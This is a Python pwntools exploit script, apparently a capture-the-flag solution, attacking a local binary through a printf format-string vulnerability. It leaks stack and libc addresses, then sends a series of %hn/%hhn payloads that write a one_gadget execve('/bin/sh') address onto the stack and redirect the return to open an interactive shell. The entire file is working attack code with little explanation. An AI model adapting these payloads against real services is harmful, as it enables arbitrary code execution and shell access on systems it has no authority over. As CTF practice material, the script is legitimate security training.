libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6_2.31-0ubuntu9.18_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b printf
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6-dbg_2.31-0ubuntu9.18_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/glibc-source_2.31-0ubuntu9.18_all/usr/src/glibc/glibc-2.31
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# 9--libc_base-ret 13--elf_base 11--p2 39--p1 27--p1' 41--p2'

main_offset = 0x11a9
read_offset = 0x1223
fini_array = 0x3d90
bss_offset = 0x4040
return_offset = 0x1250
libc_offset = 243 + libc.sym['__libc_start_main']

io.recvuntil(b'Gift: ')
leak_stack_addr = int(io.recv(4), 16)
printf_ret = leak_stack_addr - 0xc
target = leak_stack_addr - 0x4

payload = b'%p'*9 + '%{}c'.format(printf_ret - 90).encode() + b"%hn" + \
'%{}c'.format(0x10000 - printf_ret + 0x23).encode() + b"%39$hhn"
io.send(payload)


for _ in range(8):
io.recvuntil(b'0x')
libc_base = int(io.recv(12), 16) - libc_offset
log.info("libc_base --> "+hex(libc_base))

# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL || rsi is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp

one_gadget = libc_base + 0xe3b01

# put ogg to stack
payload = '%{}c'.format(0x23).encode() + b"%39$hhn" + \
'%{}c'.format(target - 0x23).encode() + b"%27$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(0x23).encode() + b"%39$hhn" + \
'%{}c'.format((one_gadget & 0xffff) - 0x23).encode() + b"%41$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(0x23).encode() + b"%39$hhn" + \
'%{}c'.format(target + 2 - 0x23).encode() + b"%27$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(0x23).encode() + b"%39$hhn" + \
'%{}c'.format(((one_gadget >> 16) & 0xffff) - 0x23).encode() + b"%41$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(0x23).encode() + b"%39$hhn" + \
'%{}c'.format(target + 4 - 0x23).encode() + b"%27$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(0x23).encode() + b"%39$hhn" + \
'%{}c'.format(((one_gadget >> 32) & 0xffff) - 0x23).encode() + b"%41$hn"
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

payload = '%{}c'.format(0xc4).encode() + b"%39$hhn" # return to 'ret'
payload=payload.ljust(0x100,b'\x00')
io.send(payload)

io.interactive()